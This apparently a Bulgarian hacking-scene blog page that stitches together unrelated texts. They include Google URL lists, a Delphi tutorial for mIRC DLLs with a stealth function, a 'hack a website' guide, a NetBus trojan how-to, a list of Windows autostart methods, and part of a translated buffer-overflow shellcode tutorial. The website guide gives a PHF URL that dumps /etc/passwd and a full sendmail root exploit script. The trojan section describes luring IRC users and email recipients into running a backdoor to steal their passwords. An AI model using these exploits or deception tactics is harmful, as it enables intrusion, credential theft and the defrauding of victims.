четвъртък, 28 февруари 2008 г.

http://www.google.com/lochp - намира местни предприятия и услуги.
http://www.google.com/mac.html - страници за Aplle/Macintosh.
http://www.google.com/options/universities.html - търсачка на университети.
http://www.google.com/linux - Linux страници.
http://www.google.com/unclesam - търси всички *.gov страници - държавни, и всички *.mil - военни страници.
http://froogle.google.com/ - стоки.
http://www.google.com/options/index.html - опции на Google.
http://www.google.com/sitemap.html - карта на сайта.
http://www.google.ru/help/features.html - пазнообразни опции за търсене.
http://www.google.com/microsoft - търси в страниците наMicro$oft.
http://labs.google.com/ - услугите на Гугъл
http://www.google.com/intl/xx-hacker/ - 31337 стила, като за хакери.
http://www.google.com/bsd - BSD страници.
http://www.alltooflat.com/geeky/elgoog/ - Гугъл наопаки.
http://scholar.google.com/ - търси - статии,книги,учебници.
http://www.google.com/firefox - за маниаци на Mazilla Firefox.
http://www.google.com/webhp?complete=1&hl=en - докато пишете някоя дума в търсачката,Google прави предложения на възможните варианти и колко страници ще покаже.
http://www.cheatoogle.com/ - читове и кодове за игри.
https://gmail.google.com/ - поща от Google.
http://video.google.com/ - търси видео.
http://www.google.com/xhtml - мини-версия за мобилни телефони.
http://mobile.google.com/ - още един вариант.
http://maps.google.com/ - търси карти.
http://www.google.com/googleblog/ - официалния блог на Google.
http://news.google.com/ - новости от Google
http://print.google.com/ - търси из милионите цифрови издания на Оксфорд,Харварт,Мичиган и Ню-Йоркската публична библиотека.
http://earth.google.com/ - програма от Google за наблюдение на земята от космоса.
http://www.cantfindongoogle.com/- фен-сайт за търсене по въпроси,на които Гугъл не дава отговор.

___________NEW_______________
http://www.google.com/googlegulp/ - напитки от Google:)
http://www.google.com/webmasters/guidelines.html - Информация и съвети за уеб-дизайнери.
http://google.com/reader - Google Reader
http://code.google.com/ - за програмисти,Open Source software.
https://vpn.google.com/getpass/ - безплатен VPN-сервис от Google.
http://answers.google.com/answers/ - задава въпрос със сума за награда.
https://www.google.com/psearch/login?prev=h.../psearch/&hl=en - търси с ваши настройки.
http://www.google.com/ig - настройте външния вид на Гугъл по ваш вкус.
http://base.google.com/ - база данни от Гугъл, търсете всичко.
Работа с DLL файлове в mIRC
by |Razor|
naskom@gec.rakursy.com

Intro:
mIRC е програма позволяваща достъп до напоследък така разпространената IRC(Internet Relay Chat) мрежа. Предполагам, че сред читателите на тази статия няма човек, който да не е използува mIRC, за да се свързва с други хора по света.

Софтуера поддържа голям набор от команди, които позволяват да се пишат различни скриптове: от извеждане текст на екрана до големи троянски коне. Единственото ограничение, което имаха старите версии (нямам информация до коя точно) беше не-поддържането на команди от DLL файлове
А какво всъщност представляват DLL файловете?
Това са компилирани библиотеки за Windows съдържащи определени функции, които се използуват външно от други програми. Така например, за да получи координатите на курсора на мишката, съответната програма извиква подпрограмата GetCursorPos намираща се в DLL файла user32.dll.

И както казах по-горе, след сложената поддръжка на DLL файлове, mIRC скриптовете могат да правят ВСИЧКО, което могат да правят обикновенните програми.


Tools:
Borland Delphi 3.0 или по-висока версия
IRC клиент (самата програма mIRC)


Begin:
В help файла на mIRC има описание как могат да се създадат такива DLL файлове, но за обикновенния потребител това описание е крайно недостатъчно.
И така нека да започваме.
Както може би разбрахте нашите DLL файлове ще ги пишем на Delphi и познанията ви на този език ще са полезни при четенето на статията.
Нека видим каква е структурата на един DLL файл в Delphi:

library Name;

uses Unit1, Unit2...;

type...;
const ...;
var....;

function1 (params:anytypes):returnval;
...
...
end;

function2 (params:anytypes):returnval;
...
...
end;

exports function1, function2;

end.


Както виждате всичко е същото като в обикновенните програми. Изключение прави само library и exports.
Е явно се досетихте и сами, че library указва името на DLL файла, а exports функциите, които ще бъдат "експортирани" (изнесени), за ползуване от външни програми.

До тук със формата на DLL файловете в Delphi.
Сега нека погледнем в help файла на mIRC и видим каква информация ни е предоставена за извикването на DLL процедури и за изисквания от програмата формат на тези процедури:

Изпълнението на команда от DLL файл става посредством следните два варианта:
/dll [data]
$dll(dll_file.dll, procname, data)

Първият вариант просто изпълнява командата без да връща резултат, а втория връща резултата от изпълнената функция (като 32-битово число)

Колкото до изисквания формат на процедурите, той е следния:
int __declspec(dllexport) FAR PASCAL procname(HWND mWnd, HWND aWnd, char *data, char *parms, BOOL show, BOOL nopause)

Това е формата, в който трябва да бъде зададена всяка функция. Ако това не ви се вижда достатъчно ясно, нека го запишем както би изглеждало в Delphi.

function f1(mWnd: hWnd; aWnd: hWnd; Data: PChar; Parms: PChar; Show: Boolean; NoPause: Boolean ): Integer;export;stdcall;

Ако сега не ви стана по-ясно...Alt+F4 :)

Та когато потребителя напише "/dll file.dll Procedure Parameters", mIRC прави заявка към съответната процедура със следните параметри:

- mWnd - това е handle-а на основния прозорец на mIRC

- aWnd - това най-често е handle-a на активния прозорец в програмата

- data - това са зададените от нас параметри. Важно е да се знае, че на тази променлива може да се зададе стойност в DLL файла и след това тази стойност може да се манипулира обратно от самия скрипт

- show - ако след "/" напишем ".", програмата няма да извади никакъв текст от изпълнението на командата (това се използува при NickServ bot identify например). Този параметър показва дали тази точка е сложена (TRUE) или не е (FALSE)

Това са основните параметри, които ще използуваме. Сега нека видим един примерен DLL файл, който ще покаже MessageBox със зададен от нас текст.

Функцията в DLL файла (например test.dll) би изглеждала така:
function MsgB(mWnd: hWnd; aWnd: hWnd; Data: PChar; Parms: PChar; Show: Boolean; NoPause: Boolean ): Integer;export;stdcall;
begin
ShowMessage(Data);
Result:=1;
end;

А съответното извикване ще бъде:
/dll test.dll MsgB Hello

Обърнете внимание на последния ред "Result:=1;". Връщаните от функцията стойности се третират от mIRC по следния начин:

0 - означава, че mIRC трябва да изпълни командата /halt и да спре процеса след изпълнението на процедурата

1 - означава, че mIRC трябва да продължи процеса

3 - означава, че на променливата Data е присвоена стойност, която $dll трябва да върне

И за накрая ето ви пример за един DLL файл с две процедури...за скриване на прозореца на mIRC и за скриване на mIRC от списъка със задачите(Close Program):

library mirc_dll;

uses
SysUtils,
Classes,
Windows;

function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord;
stdcall; external 'KERNEL32.DLL';

function HideMirc(mWnd: hWnd; aWnd: hWnd; Data: PChar; Parms: PChar; Show: Boolean; NoPause: Boolean ): Integer;export;stdcall;
begin
ShowWindow(mWnd,0);
result:=0;
end;

function StealthMode(mWnd: hWnd; aWnd: hWnd; Data: PChar; Parms: PChar; Show: Boolean; NoPause: Boolean ): Integer;export;stdcall;
begin
RegisterServiceProcess(GetCurrentProcessID,1);
result:=0;
end;


exports
HideMirc, StealthMode;

end.



Ако все още имате нещо неясно по въпроса, можете винаги да ми изпратите e-mail и да ме питате.
x=msgbox("name").vbs
1GRAPHICS [type] [filename] [/r] [/b] [/lcd] [/printbox:id]

2GRAFTABL [xxx | /status]

3p class="syntax">KEYB [xx[,yyy][,filename]]] [/e] [/id:nnn]
• xx specifies a two letter keyboard code
• yyy specifies the code page for the character set
• filename specifies the name of the keyboard definition file. If you miss this out, DOS uses the file KEYBOARD.SYS and searches the path for it.
• /e specifies that a 101/102/MS Natural Keyboard (or compatible) is installed (DOS 5+)
• /id:nnn specifies the keyboard ID for countries with more than one keyboard layout (such as France and Italy).
DOS versions prior to 3.3 use only the following codes. There is no space between the KEYB command and the letter, such as KEYBSP.

4.lincove absolute hacker-- http://www.nukesoft.co.uk/msdos/
---===WEB-HACK===---


**************
Сайт, где вы скачали этот архив: http://www.web-hack.boom.ru/ или http://whg.chat.ru/
WEB-HACK - это это сайт специализирующийся на компьютерной безопасности и хакерстве. На нем вы найдете множество статей, советов, приколов, программ и многого другого!
**************
За все, что находиться на этом сайте или относится к этому сайту (информация, программы и т.д.) и за возможный последующий вред нанесенный этим - автор сайта ответственности не несет, так как ВСЕ выложено только для ознакомления с возможной опасностью!
**************
Хак на web site


E добре гадини! Май много искате да хакнете некой уеб пейдж, а?! Сега ще ви покажем как да стане тоя номер. Не е зле да се поровите из нет-а за други такива материали (можете да научите нещо все пак!!!). Ето сега...
Преди всичко трябва да се ПАЗИТЕ АДСКИ МНОГО защото ако хакнете нещо голямо оттам могат лесно да проверят log файловете да видят адреса Ви и да Ви дойдат на гости =]
АКО това Ви се стори доста сложно минете по-надолу, все ще се намери някакъв начин за хакване, а може и на Вас да Ви дойде
идеята. Все пак и сложните неща са направени от прости:)))))

oВзимане на парола през FTP

Един от най-лесните начини да направите това е през аnonymous ftp вход в дадена стрница. Сега... трябва малко да научите
password файла.


root:User:d7Bdg:1n2HG2:1127:20:Superuser
IvanIvanov:p5Y(h0tiC:1229:20:Ivan Ivanov,:/usr/people/ivanivanov:/bin/csh
RalicaPetrova:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/rpetrova:/bin/csh

Това е пример за един редовен password файл. Superuser - ът е частта която Ви дава root права. Това е същинската част на файла.

root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

Това е още един пример на password файл, но има само малко различие, той е shadowed (затъмнен, засенчен, прикрит...).
Тези shadowed password файлове не позволяват да се види или да се копира истинската криптирана парола. Ето това вече създава
проблеми на кракера на пароли и diction maker - а. Отдолу има още един пример за shadowed password файл:


root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/
false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Затъмнените password файлове имат "х" на мястото на паролата. Сега ще си поговорим как да я кракнем.
Кракаването не е толкова сложно както изглежда, въпреки че файловете се променят от система към система.
1. Първото е да копирате или да си свалите файла.
2. След това трябва да намерите някой добър кракер или dictionary maker, но е много трудно! Има там некфи ама те са малко...
Малко са добритееее в бранша. Препоръчваме да потърсите Cracker Jack, John the Ripper, Brute Force Cracker или Jack the
Ripper. Сега за dictionary maker или "речников файл"... Когато стартирате крак програмата ще бъдете попитан за thepassword файла.
И ето сега за какво ни е dictionary maker - а. Какво всъщност е той? Това представлява програма, която комбинира всички
възможни комбанации с букви (ASCII, главни букви, малки букви, могат да се добавят и цифри). Такава програма можете да си
намерите навсякъде. Отидете в astalavista.com... а и при нас има такива програмки. След като вече разполагате с такава
следвайте инструкциите на програмата.

oPНF Техника


Това е един страхотен бъг, но повечето сървъри вече го усетиха и го остраниха. Това е най-простият начин за взимане на
парола, но става само в 95% от случаите, кофти... Единственото което трябва да направите е да си отворите browser - чето и
в полето където трябва да въведете адреса пишете:

http://nekav_web_site/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Например ако желаният сайт е mailpd.com в полето пишете:

http://www.mailpd.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Така си сваляте password файла и си го краквате.


oTELNET и експлойти


Ами експлоитите (exploits) са най-добрия начин да хакнете уеб сайт, но са толкова сложни както проникването през FTP.
За да започнете с експлойта трябва да разполагате с telnet клиент. Това става пак като го намерите в мрежата. Търсете...
Най-добре е да си вземете account с името на сайта, който искате да хакнете. Експлойтите разкриват бъговете и грешките на
дадена система и Ви позволяват да придобиете root права.
Има адски много експлойти за такава работа и пак трябва да се поровите малко... Ето Ви тука един известен като sendmail.
Всичко се прави през telnet:

cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" "
-f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi


oСоциална Инжинерия

Ето това е истина! Това не се учи! Това си е дарба. Най-лесно е да се поровите на някой user в сайта. Там той е написал кои
са любимите му групи, филми, актьори и др. Можем да се хванем на бас, че на 60% от user - ските сайтове паролите са написани
в самите тях. Номера е да накараш човека сам да Ви каже неговата парола с на пръв поглед безобидни битови въпроси. Та това е
социалната инжинерия...


Има ама още страшно много начини за хак на сайтове, но не е нужно да разкриваме всички сега и тук. Все пак ако всичко ни
беше дадено на готово доникъде намаше да стигнем. Глупостта на хората е много добро нещо! Зависи за коя страна, де... Също така разгледайте и "Хакване на сървър".


<От Неизвестен Хакер>
set wmi = getobject("winmgmts:")
wql = "select * from Win32_Process " _
& " where (name='diaspora.exe' or name='Xiaspora.exe' or name='Bulga5.exe')"
set results = wmi.execquery(wql)
msgbox "Siguren li si che iskash da spresh *Sporata?",,"Potvardi"
for each app in results
app.terminate
next
Как се да изпратя троянски кон и как да работя с него?
Троянския кон е доста стара програма.Първият е написан в самото начало на нета.Той може да бъде използван за много неща. Взимане на паролата за нета от жертвата,изтриване на файлове,отваряне на cd-то,смяна на бутонте на мишката и тн.Тук ще разгледам използв-
ането на троянски кон с програмата netbus.Според мене тя е по-удобна за начинаещи,отко-
лкото BO.Като си изтеглите програмата netbus от страницата първото нещо което ще видите като отворите зипа са 2 exe файла.Това са patch.exe и netbus.exe.ВНИМАНИЕ!!!!!!
не натискайте на patch.exe.Ако го направите-вече имате кон в системата си):.Така,patch.exe
е файла който трябва да изпратите на жертвата.Като тя натисне на файла инсталира patch
някъде в системата(най-вероятно в Windows/system)Но как да накарам някой първо да приеме файла а после да го натисне?Аз ви препоръчвам irc.Нам е пълно с сякакви неграмотници-туко що сдобили се с pc.Влизате с женски ник(например супер
пичка,sexy,pamela и тн. и гледате в списака на никове.Избирате си някой и започвате
да го наричате с хубави думи,като скъпи,патенце,но не се увличайте.Накрая като ви попита
дали имате снимка,отговорете утвърдително.Пращате му patch.exe(разбирасепреименувано)
После като ви каже,че няма снимка вие му отговорете,че е станала някаква грешка.
Също така лесен начин да изпратиш троянски кон е по e-mail.Взимате си програма за fakemail(такава има в download)Закачате му patch.exe с subject-Ъпгрейтнете вашия
Internet Explorer 4.0 на 5.0 и тн.(много се хващат на тва)и проверявайте дали е станало нещо.За да се конекнете в системата на жертвата трябва да имате неговото IP и порт.
Какво да правя като влезна в системата?Груби намеси като изтриване на системните
файлове или рестартиране на компютъра биха се оказали не-добри.Жертвата веднага
ще разбере,че става нещо гнило.Според мен трябва само да вземете файла с паролата
за интернет, коята се намира някъде в windows.Точно сега не мога да се сета къде.Така
ще си имате акаунт и ще си оставите вратичка в тази система.
All Known and Unknown Autostart Methods from TLSecurity.net

1. Autostart folder
Everything in here will restart.
C:\windows\start menu\programs\startup {english}
C:\windows\Menu Demarrer\Programmes\Demarrage {french}
This Autostart Directory is saved in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders Startup="C:\windows\start menu\programs\startup"
'So it could be easily changed by any program.

2. Win.ini
[windows]
load=file.exe
run=file.exe

3. System.ini [boot]
Shell=Explorer.exe file.exe

4. c:\windows\winstart.bat
'Note behaves like an usual BAT file. Used for copying deleting specific files. Autostarts
everytime

5. Registry
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]

6. c:\windows\wininit.ini
'Often Used by Setup-Programs when the file exists it is run ONCE and then is deleted by windows
Example: (content of wininit.ini)
[Rename]
NUL=c:\windows\picture.exe
'This example sends c:\windows\picture.exe to NUL, which means that it is deleted. This
requires no interactivity with the user and runs totaly stealth.

7. Autoexec.bat
Starts everytime at Dos Level.

8. Registry Shell Spawning
[HKEY_CLASSES_ROOT\exefile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\batfile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\piffile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] @="\"%1\" %*"

The key should have a value of Value "%1 %*", if this is changed to "server.exe %1 %*",
the server.exe is executed EVERYTIME an exe/pif/com/bat/hta is executed.
Known as Unkown Starting Method and is currently used by Subseven.

9. Icq Inet
[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\test]
"Path"="test.exe"
"Startup"="c:\\test"
"Parameters"=""
"Enable"="Yes"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\
This key includes all the APPS which are executed IF ICQNET Detects an Internet Connection.

9. Misc Information
[HKEY_LOCAL_MACHINE\Software\CLASSES\ShellScrap]
@="Scrap object" "NeverShowExt"=""

The NeverShowExt key has the function to HIDE the real extension of the file (here) SHS.
This means if you rename a file as "Girl.jpg.shs" it displays as "Girl.jpg" in all programs
including Explorer.
Your registry should be full of NeverShowExt keys, simply delte the key to get the real
extension to show up.
____________________________________________________________________________________________

The always-up-todate version can be found at :
http://www.ivtg.hit.bg/
В този пример от All-Nettools лявото цвете (8.9К) не съдържа скрита информация, а дясното (11.2К) съдържа около 5К текст защитен с парола. На втория ред левият файл (4.6К) е празен, докато десния съдържа 0.5К текст (големината на файла се е запазила).

Няма точен отготор точно колко информация може да бъде скрита чрез стеганографията. Често използван пример е, че можете да скриете текста на Библията в изображението на доларова банкнота, но банкнотата ще е голяма колкото монитора ви. Има две основни правила: първо, големите файлове, динамичните медии като видео файловете, могат да скрият повече информация. Второ, ако се опитате да вмъкнете прекалено много информация, може да промените файла прекалено много. За предпочитане е да не се използват едноцветни изображения или такива с преобладаващ сив цвят, защото промените в тях ще бъдат по-лесно забелязани.

Програми

Една от често използваните стенографски програми е S-Tools, която позволява да скриете всякакви файлове в .gif и .bmp изображения или .wav файлове. Програмата не само скрива дадения файл, но и го криптира. Просто изтегляте с мишката “носещия” файл до прозореца на програмата, след това изтегляте и файла, който искате да скриете, избирате алгоритъм на кодиране и парола и сте готови!

Други програми са Steganos Security Suiteи Scramdisk, която създава виртуален дял в даден .wav файл и скрива в него вашата информация. Големината на кодирания дял варира между 25 и 50% от оригиналната големина на файла. Най-хубавото нещо на програмата е, че без да знаете фразата-парола е невъзможно да докажете, че файлът съдържа допълнителна информация. Програмата snow пък скрива дадено съобщение като прибавя по един интервал в края на всеки ред на текстов файл или e-mail. Може би най-странната стеганографска програма е Spam Mimic, която кодира вашето съобщение в e-mail-и на вид идентични със спамовете, които получавате ежедневно.

Комерсиалните стеганографски програми се концентрират върху прибавянето на дигитални водни знаци към аудио файлове и изображения. Тези знаци се разчитат от специални програми и съдържат данни кога е бил създаден файла, кой държи авторските права, начин за връзка с автора и т.н. И все пак, водните знаци не могат да издържат на манипулирането на файловете с програми като StirMark и UnZign, които се появиха в мрежата с въвеждането на технологията.
BugTraq, r00t, и Underground.Org
ви представят:

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

от Aleph One
aleph1@underground.org

(Българска Версия)
(преведено от |Razor|)
Заб. Текста ограден в (* ... *) е пояснение вмъкнато от мен

/ Част 2 \


Shell Code
----------

Сега след като знаем, че лесно можем да променим адреса, на който дадена
функция `прескача` след завършването си и следователно хода на изпълнение на
програмата нека помислим какво бихме искали да направим? В повечето случаи
е най-добре просто да стартираме отделен shell. От него след това можем да
изпълняваме всякакви команди. Но какво ще стане ако в програмата няма код кой-
то да стартира нова обвивка (shell)? Как бихме могли да сложим наши собствени
иструкции в паметта? Отговора е да поставим необходимите инструкции в буфера,
с който ще препълваме, след което да презапишем връщания адрес, така че той да
сочи нашия буфер. Приемайки, че стека започва от адрес 0xFF и че с S онзачава-
ме кода, който искаме да изпълним, нашият стек би изглеждал по следния начин:

нисък ад- DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF висок адрес
рес 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF на паметта

buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
връх на дъно на
стека стека


Ето примерна програма, която стартира shell

shellcode.c
-----------------------------------------------------------------------------
#include

void main() {
char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------

За да разберем как изглежда програмата приведена към асемблер, първо е ком-
пилираме, а след това стартираме gdb. Не забравяйте да използувате параметъ-
ра `-static` на компилатора. В противен случай кодът за системната функция
execve няма да бъде включен.

------------------------------------------------------------------------------
$ gcc -o shellcode -ggdb -static shellcode.c
$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130
: pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
0x800013d : movl $0x0,0xfffffffc(%ebp)
0x8000144 : pushl $0x0
0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
0x800014e : call 0x80002bc <__execve>
0x8000153 : addl $0xc,%esp
0x8000156 : movl %ebp,%esp
0x8000158 : popl %ebp
0x8000159 : ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------

Нека разберем за какво става въпрос в горния код:

------------------------------------------------------------------------------
0x8000130
: pushl %ebp
0x8000131 : movl %esp,%ebp

(*Това е процедурния пролог, който разгледахме в предишната глава*)
(*заделяне на 2 указателя за стрингове. Знаем че сължината на ука-
зател е 4 байта или общо стават 8 *)

0x8000133 : subl $0x8,%esp
(*Еквивалентно на C е: *)
char *name[2];


0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
(*копиране стойността на адрес 0x80027b8 (на него е "/bin/sh") в
първия указател на name[]. Това е аналогично на: *)
name[0] = "/bin/sh";

0x800013d : movl $0x0,0xfffffffc(%ebp)
(*копиране на NULL (0x0) във втория указател на name[]. Това
е също като:*)
name[1] = NULL;

(*от тук започва предаването на аргументите към execve() (както каза-
хме в обратен ред*)

0x8000144 : pushl $0x0
(*пускаме в стека NULL (последният параметър) *)

0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
(*зареждаме адреса на name[] в EAX и той отива в кюпа ;) *)

0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
(*съхраняваме адреса и на стринга "/bin/sh" в EAX,след което го пъ-
хаме на върха*)

0x800014e : call 0x80002bc <__execve>
(*и най-накрая извикваме execve() *)

------------------------------------------------------------------------------

Тежко,а? Ама тежкото тепърва се започва. Предстои ни на деасамблираме execve()
Аргументите към системни извиквания (system calls) се предават чрез регистрите,
а използуването на тези `call` става чрез извикване на софтуерно прекъсване(int).

------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx

(*Е, това си е пак пролога*)

0x80002c0 <__execve+4>: movl $0xb,%eax
(*копиране на 0xb (или казано по десетически 11 :) ) в EAX. Това е индек-
сът в таблицата на системни повиквания - 11=execve. *)

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
(*както казахме параметрите при системни повиквания не се предават както
при функциите чрез стека, а чрез регистрите. Редът отгоре копира
"/bin/sh" в EBX *)

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
(*копиране на адреса на name[] в ECX *)

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
(*копиране на адреса на NULL в EDX*)

0x80002ce <__execve+18>: int $0x80
(*извикване на прекъсване $0x80 - преминаване в kernel-a *)
------------------------------------------------------------------------------

И така както се вижда и execve() не е нищо сложно. Всичко, от което се
нуждаеме, за да го направим е:

- стрингът "/bin/sh" някъде в паметта (разбира се завършен с NULL)
- адресът на стринга "/bin/sh"
- копираме 0xb в EAX
- копираме адресът на адреса на стринга в EBX
- копираме адресът на стринга в ECX
- копираме адреса на NULL в EDX
- извикваме прекъсване $0x80

Но какво ще стане ако изпълнението на execve() бъде провалено по няка-
къв начин? Програмата ще продължи изпълнението на инструкциите указани в
стека, които всъщност може да съдържат случайна информация, което може да
доведе до всякакви непредвидени резултати. Целта ни все пак е програмата да
си свърши работата и да не се усети, че нещо е пипано дори да възникнат гре-
шки. За да направим това трябва да добавим `exit` след извикването на
execve(). Но как изглежда системната фукнция `exit`?

exit.c
------------------------------------------------------------------------------
#include

void main() {
exit(0);
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
$ gcc -o exit -static exit.c
$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------

Та значи всъщност системната функция `exit` прави следното: копира 0x1
в EAX, копира изходния код в EBX и извиква прекъсване $0x80. Това е всичко.
Повечете програми връщат 0 при изхода си за да покажат, че не са възникнали
грешки по време на тяхното изпълнение. Сега написаните горе стъпките се
увеличават с три броя:

- стрингът "/bin/sh" някъде в паметта (разбира се завършен с NULL)
- адресът на стринга "/bin/sh"
- копираме 0xb в EAX
- копираме адресът на адреса на стринга в EBX
- копираме адресът на стринга в ECX
- копираме адреса на NULL в EDX
- извикваме прекъсване $0x80
- копираме 0x1 в EAX
- копираме 0x0 в EBX
- извикваме прекъсване $0x80

Нека се опитаме да представим горните стъпки написани на асемблер
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------

Сега възникна обаче нов проблем...не знаем къде в паметта е кода, кой-
